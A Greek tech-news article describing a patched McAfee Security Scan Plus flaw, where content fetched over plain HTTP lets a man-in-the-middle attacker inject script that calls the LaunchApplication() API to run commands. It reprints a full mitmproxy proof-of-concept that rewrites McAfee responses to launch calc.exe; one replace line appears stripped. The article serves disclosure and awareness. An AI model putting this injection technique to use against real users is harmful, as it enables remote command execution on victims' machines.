McAfee Security Scan Plus: όταν η σιγουριά κάνει λάθη

McAfee Security Scan Plus: Από αυτή την ιστοσελίδα έχετε διαβάσει πολλές φορές για αμέλειες εταιρειών ασφαλείας. Ήρθε η ώρα της McAfee. Η εταιρεία φέρεται να επισκευάζει ένα σφάλμα που υπάρχει στο δωρεάν εργαλείο Security Scan Plus που ανακτά πληροφορίες από τους υπολογιστές των ενδιαφερομένων μέσω HTTP, δηλαδή σε μορφή απλού κειμένου.

Η εταιρεία όπως φαίνεται, ξέχασε αυτά που κηρύττει, ή υπέθεσε ότι αποκλείεται να σκεφτεί κάποιος να πραγματοποιήσει επιθέσεις man-in-the-middle στις υπηρεσίες της, όπως στη δωρεάν ηλεκτρονική σάρωση, αλλά και στις εσωτερικές διαφημίσεις και το UI που τις εμφανίζει.McAfee Security Scan Plus

Η ευπάθεια ανακαλύφθηκε από την SecuriTeam, που αναφέρει ότι το εργαλείο της ΜcAfee “ανακτά τις πληροφορίες από διαφορετικά domains του mcafee.com και τις εμφανίζει στον χρήστη, συνήθως στο κύριο παράθυρο της εφαρμογής”.

Δεδομένου ότι για την μεταφορά αυτών των πληροφοριών δεν ται το πρωτόκολλο HTTPS, οι πληροφορίες μπορούν να τροποποιηθούν από έναν εισβολέα, ο οποίος μπορεί στη συνέχεια να εκμεταλλευτεί τη βιβλιοθήκη (library) που καλεί το εργαλείο (MCBRWSR2.DLL) για να εμφανίσει ότι περιεχόμενο HTML επιθυμεί.

Αυτή η βιβλιοθήκη εκθέτει το LaunchApplication() API, κάτι που πολύ απλά σημαίνει ότι κάποιος εισβολέας μπορεί να εκτελέσει οποιαδήποτε εντολή θέλει στο θύμα.

Το πρόγραμμα της ΜcAfee Security Scan Plus, μετά από κάθε σάρωση, εμφανίζει ένα στοιχείο UI που υποδεικνύει το “επίπεδο προστασίας” του στόχου στην ακόλουθη διεύθυνση URL:

http://home.mcafee.com/SecurityScanner/SSBanner.aspx

Οι πληροφορίες εμφανίζονται στην οθόνη προόδου της online σάρωσης, και έτσι ο χρήστης μπορεί εύκολα να νομίσει ότι ο υπολογιστής του είναι καθαρός, ενώ στην πραγματικότητα μόλις παραβιάστηκε.

Εάν τώρα βρίσκεστε στη θέση του επιτιθέμενου, και πραγματοποιείτε μια επίθεση MITM, είναι αρκετά εύκολο να τρέξετε εντολές με τα προνόμια που έχει ο συνδεδεμένος χρήστης, που σε πολλές περιπτώσεις είναι ο ίδιος λογαριασμός με αυτόν του διαχειριστή.

Το πλήρες PoC χρειάζεται μόνο 38 γραμμές κώδικα. Η McAfee αναγνώρισε το ζήτημα εδώ και επιδιόρθωσε την υπηρεσία τον Ιούλιο.

Δείτε τον κώδικα του PoC

#!/usr/bin/env python3
#
# HTTP proxy mode:
#  mitmproxy -s mcsploit_inline.py --ignore '.*' 
#
# Transparent proxy mode: 
#   mitmproxy -s mcsploit_inline.py -T
#

from mitmproxy import ctx, http
import requests
import time

COMMAND="c:\\\\windows\\\\system32\\\\calc.exe"
CMDARGS=""

def response(flow):
    if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in flow.request.url):
        if flow.response.status_code == 302:
            ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)")
            https_url=flow.request.url.replace("http://","https://")
            r=requests.get(https_url,headers=flow.request.headers,verify=False)
            if "text/html" not in r.headers['content-type']: return
            contents=r.text 
            contents=contents.replace("","" % (COMMAND, CMDARGS))
            flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type": "text/html; charset=utf-8","Expires":"-1"})
            
        try:
            if flow.response.headers["content-type"] == "text/javascript":
                ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)")
                inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" % (COMMAND, CMDARGS)
                try:
                    flow.response.contents = inject + flow.response.contents
                except AttributeError:
                    ctx.log("[-] [MCSPLOIT] No content in the original response!")
                    pass
        except KeyError:
            pass

iGuRu.gr The Best Technology Site in Greecefgns

κάθε δημοσίευση, άμεσα στο inbox σας

Προστεθείτε στους 2.100 εγγεγραμμένους.

Written by giorgos

Ο Γιώργος ακόμα αναρωτιέται τι κάνει εδώ....

Αφήστε μια απάντηση

Η ηλ. διεύθυνση σας δεν δημοσιεύεται. Τα υποχρεωτικά πεδία σημειώνονται με *

Το μήνυμα σας δεν θα δημοσιευτεί εάν:
1. Περιέχει υβριστικά, συκοφαντικά, ρατσιστικά, προσβλητικά ή ανάρμοστα σχόλια.
2. Προκαλεί βλάβη σε ανηλίκους.
3. Παρενοχλεί την ιδιωτική ζωή και τα ατομικά και κοινωνικά δικαιώματα άλλων χρηστών.
4. Διαφημίζει προϊόντα ή υπηρεσίες ή διαδικτυακούς τόπους .
5. Περιέχει προσωπικές πληροφορίες (διεύθυνση, τηλέφωνο κλπ).